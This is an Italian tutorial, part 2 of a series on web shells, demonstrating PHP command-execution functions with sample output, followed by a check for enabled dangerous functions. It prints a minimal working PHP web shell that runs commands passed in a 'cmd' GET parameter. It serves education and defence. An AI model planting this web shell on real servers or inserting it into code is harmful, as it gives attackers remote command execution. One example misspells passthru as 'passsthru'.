Tutte le risorse

Introduzione alle web shell - parte 2: 101 Uso di PHP

Nella parte 1 di questa serie, abbiamo esaminato cos'è una shell Web e perché un utente malintenzionato avrebbe cercato di usarne una. Nella parte 2 di questa serie, vedremo alcuni esempi specifici di shell web sviluppate usando il linguaggio di programmazione PHP.

Esistono web shell per quasi tutti i linguaggi di programmazione web a cui puoi pensare. Abbiamo scelto di concentrarci su PHP perché è il linguaggio di programmazione più utilizzato sul web.

Le web shell PHP non fanno altro che utilizzare le funzioni PHP integrate per eseguire i comandi. Di seguito sono riportate alcune delle funzioni più comuni utilizzate per eseguire i comandi di shell in PHP.

Nota : ai fini di questo articolo, abbiamo modificato il nostro file hosts e indirizzato il dominio www.example.com a un server di prova.

sistema()

La system() funzione accetta il comando come parametro e genera il risultato.

L'esempio seguente su un computer Microsoft Windows eseguirà il dir comando per restituire un elenco di directory della directory in cui viene eseguito il file PHP.

 

<?php

// Return the listing of the directory where the file runs (Windows)

system("dir");

?>

--> Volume in drive C has no label.

Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM <DIR> .

02/27/2020 10:21 PM <DIR> ..

02/27/2020 10:19 PM 22 shell.php

1 File(s) 22 bytes

2 Dir(s) 31,977,467,904 bytes free

 

L'esecuzione del ls comando su una macchina Linux ottiene un risultato simile.

 

<?php

// Return the listing of the directory where the file runs (Linux)

system("ls -la");

?>

--> total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

 

Altri comandi hanno lo stesso effetto.

 

<?php

// Return the user the script is running under

system("whoami");

?>

--> www-data

 

exec ()

La exec() funzione accetta un comando come parametro ma non genera il risultato. Se viene specificato un secondo parametro facoltativo, il risultato verrà restituito come matrice. In caso contrario, verrà visualizzata solo l'ultima riga del risultato se viene eseguita l'eco.

 

<?php

// Executes but returns nothing

exec("ls -la");

?>

-->

 

L'uso echo con la exec() funzione stamperà solo l'ultima riga dell'output del comando.

 

<?php

// Executes, returns only last line of the output

echo exec("ls -la");

?> 

--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

 

Se viene specificato un secondo parametro, il risultato viene restituito in un array.

 

<?php

// Executes, returns the output in an array

exec("ls -la",$array);

print_r($array);

?>

--> Array(

[0] => total 12

[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .

[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

 

shell_exec ()

La shell_exec() funzione è simile exec(), tuttavia, genera l'intero risultato come una stringa.

 

<?php

// Executes, returns the entire output as a string

echo shell_exec("ls -la");

?>

-->

total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

 

passare attraverso()

La passthru() funzione esegue un comando e restituisce l'output in formato non elaborato.

 

<?php

// Executes, returns output in raw format

passsthru("ls -la");

?>

-->

total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

 

proc_open ()

La proc_open() funzione può essere difficile da capire (puoi trovare una descrizione dettagliata della funzione nei documenti PHP ). Usando proc_open(), possiamo creare un gestore (processo) che verrà utilizzato per la comunicazione tra il nostro script e il programma che vogliamo eseguire.

 

apici inversi

Sorprendentemente, non molti sviluppatori PHP ne sono consapevoli, ma PHP eseguirà il contenuto di backtick (`) come comando shell.

Nota: il carattere backtick (`) non deve essere confuso con il carattere di virgoletta singola (')

 

<?php

$output = `whoami`;

echo "<pre>$output</pre>";

?>

--> www-data

 

Sulla base di quanto sopra, la seguente è una shell web PHP nella sua forma più semplice.

 

<?php system($_GET['cmd']);?>

 

Utilizza la funzione system () per eseguire i comandi che vengono passati attraverso il parametro GET della richiesta HTTP 'cmd' .

 

 

Abbiamo stabilito che queste funzioni (e poche altre) possono essere molto pericolose. Ciò che è ancora più pericoloso è che tutti questi comandi PHP integrati sono abilitati di default quando PHP è installato e la maggior parte degli amministratori di sistema non li disabilita.

Se non si è sicuri che siano abilitati sul proprio sistema, di seguito verrà riportato un elenco delle funzioni pericolose abilitate.

 

<?php

print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));

?>

In un'installazione predefinita, possiamo vedere che tutte le funzioni sopra menzionate sono abilitate.

 

[669] => exec

[670] => system

[673] => passthru

[674] => shell_exec

[675] => proc_open

[786] => show_source

[807] => parse_ini_file

[843] => popen